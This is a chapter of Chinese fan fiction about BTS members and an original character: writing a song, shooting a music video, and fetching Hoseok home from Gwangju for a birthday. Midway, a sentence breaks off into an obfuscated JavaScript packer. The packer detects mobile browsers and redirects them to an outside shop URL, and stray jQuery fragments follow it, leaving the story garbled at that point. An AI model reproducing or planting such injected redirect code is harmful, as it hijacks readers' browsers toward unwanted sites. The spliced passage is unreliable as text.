游乐园归来的那个周末，安岁秋在创作室里待了整整两天。


    薄荷绿色的贝斯静立在墙角，电脑屏幕上的音轨密集如星群，他戴着耳机，指尖在MIDI键盘上轻盈起落，一段流畅的R&B旋律便流淌而出——那旋律轻盈甜蜜，宛若春日阳光下逐渐融化的棉花糖。


    《MY LOVE》[1]。


    歌名出现在屏幕上时，他自己都微微一怔，这并非他惯常的风格，过往的作品名称总是含蓄的……而此刻屏幕上的这两个单词，却直白得近乎莽撞。


    然而旋律已然成型，轻快的鼓点托着跳跃的贝斯线前行，和弦进行甜腻得几乎要溢出蜜来，副歌部分那句“You''re gonna be my love”往复循环，像一种执拗而温柔的宣告。


    他想起上周在游乐园，八个人挤在摩天轮售票处前，工作人员带着歉意微笑解释，“一个车厢最多只能坐六位……”


    最终他们不得不分作两批。


    金硕珍、闵玧其、金南俊、郑号锡四个哥哥先行，安岁秋、金泰亨、田柾国、朴智旻紧随其后，当两个车厢缓缓攀升，安岁秋将额头轻抵在冰凉的玻璃上向下望去，首尔的灯火在脚下铺展成一片温暖而无垠的海洋。


    金泰亨在旁边兴奋地指指点点，田柾国举着手机不停捕捉光影，朴智旻则安静地笑着，那一刻，一个念头毫无征兆地涌入安岁秋心中。


    要是能一直这样就好了。


    八个人，一个都不能少。


    于是旋律便这样自然而然地流淌出来，或许这并非传统意义上的情歌，至少不完全是，它是安岁秋对“在一起”这件事，所能做出的最直白、最诚恳的表达。


    “你谈恋爱了？”


    方时赫听完demo后的第一句话，让安岁秋差点被自己的口水呛到。


    “啊？没有啊，PD nim为什么这么问……”


    “因为这歌，”方时赫眯起那双本就不大的眼睛，指尖在桌面上若有所思地敲了敲，“风格不像你写出来的东西。”


    安岁秋笑着解释道，“是想着成员们写的，也算情歌？”


    方时赫的表情变得有些微妙，他仔细端详了安岁秋好一会儿，最终只是轻轻叹了口气，“行吧。”


    他将手伸进抽屉，取出一个米黄色的文件夹，推到安岁秋面前。


    “算是个……提前的生日礼物？”


    文件夹里是一份拍摄邀约。


    Ailee前辈即将发行的新歌MV，需要一个具有少年感的男主角，饰演那位在十七岁夏天因意外离世、从此成为记忆中永恒白月光的初恋。


    “对方亲自指定的你。”


    方时赫补充道，“她说看过你以前的戏，觉得你非常适合这个角色。”


    安岁秋的目光落在拍摄日期上——下周，正好是他十六岁生日的前三天。


    MV拍摄现场比想象中更为安静。


    安岁秋换上了简洁的白衬衫与深色校服，造型师姐姐为他整理头发时，忍不住轻声感叹，“哎一古，这张脸真是……”


    “姐姐。”安岁秋无奈地唤了一声。


    “好好好，不说了。”造型师笑着退开半步，但目光中仍是掩不住的欣赏，“不过说真的，非常贴这个角色。”


    导演是位留着络腮胡的中年男性，言辞温和却精准，他为安岁秋讲解着角色内核，“你要演绎的并非幽灵，而是记忆本身，是女主角心中那个被时光永远定格在十七岁的少年。”


    第一场戏在废弃的教室拍摄，Ailee前辈身着米色长风衣，指尖缓缓拂过积满灰尘的课桌，阳光从破损的窗棂斜切而入，无数微尘在光柱中翩跹浮沉。


    “Action。”


    安岁秋静静地立在光里。


    他没有刻意做出任何表情，只是微微侧过头，望向前辈所在的方向，唇角弯起一个极清浅的弧度，白衬衫的衣角被老旧风扇吹出的风轻轻掀起，发梢在阳光晕染下泛起一层浅金色的光晕。


    这正是导演要求的——“不要表演悲伤，去呈现存在，去表达‘我一直在’的状态。”


    下一场转至小巷，Ailee前辈独自走在石板路上，高跟鞋敲击出清晰而孤独的声响。安岁秋走在她身侧略后方一步，校服外套随意搭在肩头，步履轻快，他们之间维持着一个微妙而恒定的距离——不远不近，恰如回忆应有的分寸感。


    有一个镜头需要他伸出手，仿佛要去触碰她的肩膀，却在最后一瞬停滞，指尖悬停于半空，片刻后，悄然收回。


    “Cut！”导演显然十分满意，“那种欲触未触的微妙感，把握得很好。”


    前辈转过身来看他，眼眸明亮，“岁秋啊，演得真不错。”


    她性格爽利，说话从不绕弯，“我之前还担心，两年没拍戏会不会手生，现在看来是多虑了。”


    “谢谢前辈。”安岁秋笑着回复，礼貌地躬身感谢。


    “别叫前辈了，叫姐姐就好。”Ailee笑着拍了拍他的肩。


    “等会儿收工了一起吃饭？我请客。”


    拍摄持续至日暮时分，最后一场戏在海边，夕阳将辽阔的海面染成一片温暖的橘红，前辈独立于礁石之上，海风扬起她的长发，安岁秋缓步走到她身畔，侧脸被余晖镀上一层柔和的金边。


    他开口，声音轻得像怕惊扰了这场黄昏，“我一直都在。”


    随后转身，迎着漫天霞光走去，镜头中，他的身影逐渐变得透明，最终温柔地融进那片瑰丽的光色里。


    “Cut！完美！”


    现场响起一片掌声，前辈笑着走过来，给了安岁秋一个扎实的拥抱，“辛苦了，我的小男主角。”


    她拉着安岁秋合影，照片里两人笑容灿烂，安岁秋将照片发至宿舍群组，配上简短的文字：「拍摄结束了。」


    随后他收起手机，登上了返回公司的车。


    群聊安静得异乎寻常。


    往常这种时候，金泰亨会第一时间跳出来刷屏表情包，田柾国会追问“岁秋哥吃饭了没”，朴智旻会发来鼓掌的小人，郑号锡会细心询问是否疲惫，金硕珍会叮嘱注意休息，金南俊会探讨拍摄细节，而闵玧其……或许会迟些回复，但绝不会缺席。


    然而此刻，十分钟过去了，聊天界面依旧一片沉寂。


    安岁秋微微蹙眉，又发送了一条：「有人在练习室吗？」


    仍旧没有任何回应。


    车辆抵达楼下时，夜色已浓，安岁秋背起包走上楼，推开宿舍门的瞬间——


    “号锡哥的电话还是打不通！”


    金泰亨的声音里带着明显的哭腔。


    客厅里一片忙乱。


    田柾国蜷在沙发一角，手中紧紧攥着一张信纸，眼眶通红，金硕珍来回踱步，手机紧贴耳侧，眉头深锁，朴智旻蹲在郑号锡空荡荡的床铺边，望着整理得过分整齐的床单发愣。


    “发生什么事了？”安岁秋问，声音不自觉地绷紧。


    金硕珍闻声转头，面色苍白，“号锡他……不见了。”


    “……什么意思？”


    “他留下了这个。”田柾国将那张信纸递过来，手指微微发颤。


    “说……要回家继续读书。”


    安岁秋接过信纸，郑号锡的字迹工整清秀，与他跳舞时的利落飒爽截然不同。


    「硕珍哥，冰箱里的牛奶记得三天内喝完。」


    「玧其哥，别总喝冰美式，对胃不好。」


    「南俊啊，写歌别熬太晚。」


    「泰亨，柾国，智旻，好好练习，别偷懒。」


    「岁秋……对不起。这次不能陪你过生日了，礼物放在你床头了，提前祝你十六岁快乐。」


    信的结尾写道：「我好像什么都做不好，舞蹈跟不上，说唱也吃力，家里也……对不起，我想先回家了。大家都要好好的。」


    安岁秋的手指微微收紧，信纸边缘泛起细密的皱痕。


    就在这时，宿舍门被猛地推开，闵玧其与金南俊疾步而入，两人额间皆带着薄汗。


    “地址要到了。”闵玧其声音低沉，“光州，他买了今天下午的火车票。”


    金南俊紧接着补充：“最后一班火车是晚上十点，现在赶去或许还来得及。”


    七个人的目光在空中短暂交汇，没有多余的言语，金硕珍一把抓起车钥匙，“我去开车。”


    “我收拾东西。”朴智旻迅速冲进房间。


    “我给方PD打电话说明情况。”金南俊已经拿出手机。


    安岁秋走进卧室，床头果然搁着一只小巧的礼盒，他打开盒盖，里面是一条银质手链，链坠是一只精巧的四叶草，盒底压着一张卡片。


    「给最努力的我们岁秋，生日快乐!——号锡哥」


    他将手链戴上腕间，冰凉的金属触感贴上皮肤，随后转身，快步跟上其他人的步伐。


    此时此刻，郑号锡正坐在光州家附近那片熟悉的草坪上。


    行李箱立在身侧，他环抱着双膝，目光落在不远处几个嬉戏的孩童身上，其中一个约莫三四岁的小男孩摇摇晃晃地跑过来，在他面前不慎绊倒，瘪着嘴眼看就要哭出声来。


    郑号锡下意识地伸出手，做了个滑稽的鬼脸，随即站起身来，跳了一段简单的舞蹈——是幼时老师教他的、充满童趣的舞步。


    小男孩破涕为笑，拍着小手欢呼，“哥哥！再来！”


    于是他又跳了一段，动作简单却节奏欢快，小男孩模仿着扭动小小的身体，发出咯咯的笑声。


    跳着跳着，郑号锡感到眼眶阵阵发热。


    他想起了首尔那间练习室，镜子前那个汗流浃背的自己，汗水滴落在地板上的轻响，老师严厉而精准的指点，同伴们一日千里、令人追赶不及的背影。


    还有家中那通电话，母亲虚弱却努力维持平稳的嗓音，“号锡啊，不用急着回来……妈妈没事的。”


    但他分明听见了背景里父亲那一声沉重的叹息。


    在返回光州的火车上，他一直在想，或许自己真的不适合这条道路，或许回到家乡，帮助支撑家庭，找一份寻常安稳的工作，才是正确而现实的选择。


    可是……总有点不甘心呢。


    “号锡哥。”


    熟悉的声音自身后传来，郑号锡浑身一僵，缓缓回过头去。


    七道身影立于草坪边缘，风尘仆仆，却都用那双亮晶晶的眼睛注视着他，金泰亨第一个冲过来，用力抱紧他，“哥！你怎么可以不告而别！”


    田柾国也扑了上来，声音里带着哽咽：“我们找你找了很久……”


    朴智旻站在一旁，眼圈泛红，“哥，对不起……我都没能早些发现你那么难过。”


    金硕珍走过来，轻轻拍了拍他的肩，闵玧其与金南俊站在稍远处，但目光中的忧虑清晰可辨。


    安岁秋走到他面前，抬起手腕——那条系着四叶草吊坠的手链，在路灯下流转着细碎的微光。


    “礼物，”他说，“我戴上了。”


    郑号锡的家不算宽敞，却处处透着温馨。


    郑妈妈的气色看起来已好转许多，见到七个突然出现的少年，先是讶异，随即眼眶便湿了，“你们……是号锡在首尔的朋友们？”


    “是的。”金硕珍恭敬地鞠躬问候，“阿姨，不好意思，深夜叨扰了。”


    晚餐是简单的家常菜肴，郑妈妈却特意多添了好几道菜，饭桌上，郑爸爸沉默地倾听着孩子们讲述在首尔的生活点滴，偶尔微微颔首。


    “号锡很少同我们细说这些。”郑妈妈为安岁秋夹了一筷子菜，“这孩子总是报喜不报忧。”


    “妈……”郑号锡轻声唤道。


    “你这孩子。”郑妈妈的眼圈又红了，“妈妈是盼着你好，不是要你事事都自己硬扛。”


    饭后，郑妈妈端出一锅热气腾腾的年糕汤，洁白的年糕片在清透的汤水中沉浮，香气四溢。


    “岁秋呀，”郑妈妈将第一碗盛好递给安岁秋，“听号锡说明天是你生日？阿姨先给你煮了年糕汤，生日那天一定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394871|200357||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要记得吃，才能健健康康地长大。”


    安岁秋双手接过碗，“谢谢阿姨。”


    年糕汤温暖妥帖，暖意从胃里蔓延至四肢百骸，八个少年挤在客厅地板上，每人捧着一只碗，细细吃着。


    “好吃！”金泰亨眼睛发亮，“比我妈妈煮的还要香！”


    郑妈妈笑得很是开怀，“喜欢就多吃些，锅里还有。”


    夜间住宿成了小小难题，郑家除了主卧外只有两间卧房——郑号锡与姐姐的房间，好在姐姐不在家，最终没有落得八人挤一个房间的下场。


    郑号锡的房间并不宽敞，四个男生并肩躺在地铺上，肩膀挨着肩膀，熄灯后黑暗中只余下彼此轻缓的呼吸声。


    “哥。”安岁秋忽然轻声开口。


    “嗯？”


    “手链很好看。”安岁秋说，“谢谢你。”


    郑号锡在黑暗中轻轻笑了笑，“你喜欢就好。”


    “哥跳舞也特别好看，”田柾国小声说道，“我最喜欢看哥跳舞了。”


    “我也是。”朴智旻低声附和。


    金泰亨翻了个身，面朝郑号锡的方向，“哥，你要是真走了，谁教我那个转身动作啊？我自个儿琢磨了好几天都没学会。”


    郑号锡沉默了许久。


    然后他低声说：“……对不起。”


    “不要说对不起。”安岁秋的声音很轻，却异常清晰。


    “哥只需要说‘好，我教你们’就可以了。”


    黑暗中，有人轻轻握住了郑号锡的手，接着是第二只，第三只。


    五只手叠在一起，温热而坚定。


    次日，是安岁秋的十六岁生日。


    他们没有急于返回首尔，而是在郑号锡这个新手导游的带领下，悠然探索起了这座他生长的城市。


    杨宁洞企鹅村比预想中更为可爱，彩色的小屋依山错落，墙壁上绘满了斑斓的壁画——憨态可掬的跳舞企鹅，遨游云端的鲸鱼，还有大片盛放的花朵。八个少年在狭窄而充满趣味的巷弄间穿行，金泰亨与田柾国兴奋地四处拍照留念。


    “这里原本是一片老旧住宅区，”郑号锡为大家讲解，“后来居民们邀请了艺术家来绘制壁画，才渐渐变成了现在的模样。”


    “快来!”


    金泰亨招呼着安岁秋他们一起拍照。


    傍晚大家则去了光州艺术街，街道两侧林立着各色画廊、手工艺品店与咖啡馆，街头艺人各展其才——弹奏吉他的大叔，为人绘制肖像的姐姐，还有一群正随着强劲节拍跳街舞的年轻人。


    音乐充满活力，节奏动感十足，几位舞者正在圈中展示 solo，周围聚集了一圈驻足观赏的游人。


    安岁秋侧目看向身旁的郑号锡，对方正随着音乐不自觉点头，身体已经养成了习惯。


    “去吧。”安岁秋轻轻推了一下他的背脊。


    “去跳舞。”


    郑号锡深吸一口气，迈步走进了那个无形的圆圈。


    音乐恰在此时切换至下一首，是一段经典的嘻哈旋律，郑号锡的身体开始随着节奏摆动，动作干净利落，每个卡点都精准到位，身体的wave流畅而充满力道。


    一个利落的旋转，紧接着是一个漂亮的定格，周围的观众开始鼓掌喝彩。


    金泰亨按捺不住，也冲进去加入了舞蹈，接着是田柾国，朴智旻扯着安岁秋的手腕一起拽了上去，五个少年在街头即兴起舞，动作未必整齐划一，但每个人的脸上都洋溢着灿烂的笑容。


    最后连金南俊也被拉了进来，虽然动作略显奇怪，却努力跟上大家的节奏，闵玧其与金硕珍站在人群外围，一个摇头失笑，一个举着手机认真记录。


    原本在表演的舞者们十分友善，主动为他们让出空间，甚至有人跟着一同舞动起来，音乐声、欢笑声、掌声交织融合，整条街道都沉浸在热闹而愉快的氛围中。


    一曲终了，郑号锡微微喘息，汗水沿着下颌线滑落，但他的眼睛亮得惊人，笑容里透出一种久违的、发自内心的轻松。


    一位年长的舞者走上前来，拍了拍他的肩，“跳得很棒啊，小子，练了多久了？”


    “八年。”郑号锡答道。


    “那就继续跳下去。”舞者露出赞许的笑容，“你很有能力。”


    回程的路上，郑号锡许久没有说话，直至行至街角，他才停下脚步，转身望向身后的七位同伴。


    “我……”他开口，声音有些沙哑，“我想再试一次。”


    金泰亨第一个扑上去紧紧抱住他，“当然要试！”


    “这个家不能没有郑号锡!”


    返回首尔的列车上，八个人依旧亲密地挨坐在一起。


    郑号锡倚着车窗，凝视窗外飞速倒退的夜色，安岁秋坐在他身侧。


    “岁秋啊。”郑号锡忽然轻声唤道。


    “嗯？”


    “生日快乐。”


    郑号锡转过头来，在车厢昏黄的光线下，他的眼神格外温柔。


    “虽然礼物提前送了，但祝福总要亲口在当天说出来才算数。”


    “那我收到了。”


    其他人都已沉沉睡去，金泰亨歪倒在朴智旻肩头，田柾国靠着金硕珍，金南俊与闵玧其的脑袋挨在一起。


    安岁秋望向窗外，夜色浓稠如墨，他突然想起拍摄MV时导演说过的话——


    “你要演绎的并非幽灵，而是记忆本身。”


    记忆或许会随时间褪色，但存在过的痕迹永远不会湮灭。


    十六岁了。


    离出道更近了一步，离梦想更近了一步，离那个“八个人一起”的未来，也更为清晰地近了一步。


    ------------------------


    参考文献：


    [1] Rado(曲); Rado, Swings(词). MY LOVE(feat. Swings)[CD]. Ailee. 首尔, YMC Entertainment, 2012-10-16.